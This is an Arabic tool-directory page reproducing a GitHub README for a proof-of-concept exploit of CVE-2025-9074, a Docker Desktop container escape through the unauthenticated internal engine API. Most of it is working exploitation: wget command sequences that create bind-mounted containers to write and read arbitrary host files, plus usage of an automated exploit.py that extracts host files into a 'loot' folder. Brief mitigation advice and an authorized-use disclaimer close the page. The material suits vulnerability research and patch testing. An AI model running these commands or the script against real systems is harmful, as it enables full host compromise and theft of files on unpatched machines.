Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/pucagit/cve-2025-9074
تحليل الثغرات الأمنيةالاستغلالاختبار الاختراقأمن السحابةالتعلم والتعليمالهروب من الحاوية
GitHubpucagit/cve-2025-9074

CVE-2025-9074

عرض المستودع
منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-9074 – هروب كامل من Docker على Docker Desktop لنظامي Windows و macOS

📌 الوصف

يكشف Docker Desktop عن واجهة برمجة التطبيقات (API) الداخلية لمحرك Docker على http://192.168.65.7:2375 إلى أي حاوية قيد التشغيل — بدون مصادقة ودون أي تحكم في الوصول.

نظرًا لأن المحرك نفسه يمكنه تركيب نظام ملفات المضيف، يمكن للحاوية استدعاء هذه الواجهة لإنشاء حاوية جديدة تقوم بتركيب قرص المضيف (bind-mount)، ثم استخدام تلك الحاوية لقراءة وكتابة ملفات المضيف بشكل عشوائي — هروب كامل من الحاوية إلى المضيف.

📝 المراجع

  • سجل CVE-2025-9074
  • ملاحظات إصدار Docker Desktop (تم الإصلاح في 4.44.3)
  • بحث Felix Boulet

🎯 الإصدارات المتأثرة

  • Docker Desktop الإصدارات الأقدم من 4.44.3 على Windows و macOS

⚙️ كيف يعمل

  1. الوصول إلى الواجهة. تتصل حاوية قيد التشغيل بواجهة برمجة تطبيقات محرك Docker على http://192.168.65.7:2375 — لا حاجة إلى أي بيانات اعتماد.
  2. إنشاء حاوية مميزة (privileged). تُرسل POST /containers/create مع Binds: ["/mnt/host:/host_root"]، لتركيب قرص المضيف داخل حاوية جديدة. داخل جهاز Docker الافتراضي (VM)، يكون نظام ملفات المضيف مكشوفًا في /mnt/host (مثلًا، قرص Windows C: يظهر في /mnt/host/c).
  3. بدء تشغيل الحاوية. يقوم POST /containers/{id}/start بتفعيل التركيب (bind mount)، مما يمنح وصولًا كاملًا إلى المضيف.
  4. كتابة ملفات المضيف. تشغّل الحاوية الجديدة أمرًا يكتب داخل التركيب (مثلًا echo pwned > /host_root/c/test/pwn.txt).
  5. قراءة ملفات المضيف. تُرجع GET /containers/{id}/archive?path=... أي مسار على المضيف كأرشيف TAR — بدون الحاجة إلى شل (shell).

🧪 إعداد المختبر

المتطلبات

  • Docker Desktop الإصدارات الأقدم من 4.44.3 (Windows أو macOS)
  • حاوية مهاجِم يمكنها الوصول إلى الواجهة الداخلية (أي حاوية تستطيع ذلك)

تحضير بيانات الاختبار (Windows)

أنشئ C:\test\readme.txt مع بعض المحتوى النموذجي حتى يكون لتجربة القراءة هدف.

poc 1

تشغيل حاوية مهاجِم

root@kitploit:~
docker run -it --rm alpine /bin/sh

جميع الخطوات اليدوية أدناه تُنفَّذ داخل هذه الحاوية (alpine يأتي مزودًا بـ wget). عيّن متغير شل للواجهة لتقصير الأوامر:

root@kitploit:~
API=http://192.168.65.7:2375

✍️ إعادة الإنتاج — الكتابة إلى المضيف

الهدف: إنشاء C:\test\pwn.txt على المضيف من داخل حاوية.

root@kitploit:~
# 1. Create a container that mounts the host C: drive and writes a file into it.
wget -q -O create.json \
  --header='Content-Type: application/json' \
  --post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/c/test/pwn.txt"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
  $API/containers/create

# 2. Extract the new container ID from the JSON response.
cid=$(cut -d'"' -f4 create.json)

# 3. Start it — the command runs and writes the file to the host.
wget -q -O - --post-data='' $API/containers/$cid/start

ما الذي حدث:

  • يقوم Binds: /mnt/host:/host_root بتركيب أقراص المضيف داخل الحاوية الجديدة.
  • يكتب أمر الحاوية pwned إلى C:\test\pwn.txt (/host_root/c/test/pwn.txt).
  • لم تكن هناك حاجة إلى أي بيانات اعتماد على الإطلاق.

النتيجة المتوقعة: أصبح C:\test\pwn.txt موجودًا الآن على المضيف.

poc 2


📖 إعادة الإنتاج — القراءة من المضيف

الهدف: قراءة C:\test\readme.txt من المضيف من داخل حاوية.

root@kitploit:~
# 1. Create + start a container with the host drive mounted (kept alive briefly).
wget -q -O create.json \
  --header='Content-Type: application/json' \
  --post-data='{"Image":"alpine","Cmd":["sleep","30"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
  $API/containers/create
cid=$(cut -d'"' -f4 create.json)
wget -q -O - --post-data='' $API/containers/$cid/start

# 2. Ask the engine for a TAR archive of the host directory, then extract it.
wget -q -O test.tar "$API/containers/$cid/archive?path=/host_root/c/test"
tar -xvf test.tar
cat test/readme.txt

ما الذي حدث:

  • يكشف نفس التركيب قرص المضيف للحاوية الجديدة بطريقة مناسبة للقراءة.
  • تُرجع GET /containers/{id}/archive?path=... أي مسار على المضيف كأرشيف TAR — بدون الحاجة إلى شل.
  • يكشف استخراج الأرشيف عن محتويات ملفات المضيف.

النتيجة المتوقعة: تتم طباعة محتويات C:\test\readme.txt.

poc 3


🤖 الاستغلال الآلي — exploit.py

يعمل exploit.py على أتمتة كلا السيناريوهين. يستخدم مكتبة Python القياسية فقط، ويكتشف تلقائيًا تركيب المضيف (Windows /mnt/host/c مقابل macOS/Linux /)، ويترجم مسارات المضيف الأصلية نيابة عنك.

لا يمكن الوصول إلى الواجهة الداخلية (192.168.65.7:2375) إلا من داخل حاوية، لذا شغّل البرنامج النصي في حاوية تحتوي على Python:

root@kitploit:~
# From the repo directory on the host:
docker run --rm -it -v "${PWD}:/x" python:3-alpine python /x/exploit.py info

في Windows PowerShell، استخدم -v "${PWD}:/x"؛ وفي cmd.exe استخدم -v "%cd%:/x".

التحقق من الوصول

root@kitploit:~
python /x/exploit.py info

يختبر الاتصال بالواجهة، ويكتشف نظام تشغيل المضيف، ويعرض إدخالات المستوى الأعلى لتركيب المضيف.

كتابة ملف على المضيف

root@kitploit:~
# Windows host
python /x/exploit.py write 'C:\test\pwn.txt' --content 'pwned via CVE-2025-9074'

# macOS/Linux host (or pipe content via stdin)
echo "pwned" | python /x/exploit.py write /tmp/pwn.txt

قراءة ملف من المضيف

root@kitploit:~
# Print to stdout
python /x/exploit.py read 'C:\test\readme.txt'

# Or extract (file or whole directory) into ./loot
python /x/exploit.py read 'C:\test' --out ./loot

خيارات مفيدة


🛡️ التخفيف

  • قم بترقية Docker Desktop إلى ≥ 4.44.3 على نظامي Windows و macOS.
  • لا تشغّل صورًا غير موثوقة؛ فهذه الواجهة غير المصلَحة قابلة للوصول من أي حاوية.

⚠️ إخلاء المسؤولية

هذا الإثبات المفاهيمي (PoC) مخصص للاختبار المصرح به والتعليم والبحث فقط. لا يتحمل المؤلف أي مسؤولية عن إساءة الاستخدام. شغّله فقط ضد أنظمة تملكها أو مصرح لك باختبارها.


🙏 الإسناد

هذا الإثبات المفاهيمي وملف README مشتقان من بحث Felix Boulet. يعود كل الفضل في الاكتشاف والتحليل الأصليين إلى المؤلف الأصلي.


📜 الترخيص

هذا المشروع مرخص بموجب رخصة MIT.

تنزيل الأداة
الخيارالغرض
--api URLتجاوز نقطة نهاية الواجهة (الافتراضي http://192.168.65.7:2375)
--image NAMEصورة حاوية الاستغلال (الافتراضي alpine، تُسحب تلقائيًا إذا لم تكن موجودة)
--vm-mount PATHتخطي الاكتشاف التلقائي وفرض تركيب المضيف داخل الجهاز الافتراضي (مثل /mnt/host أو /)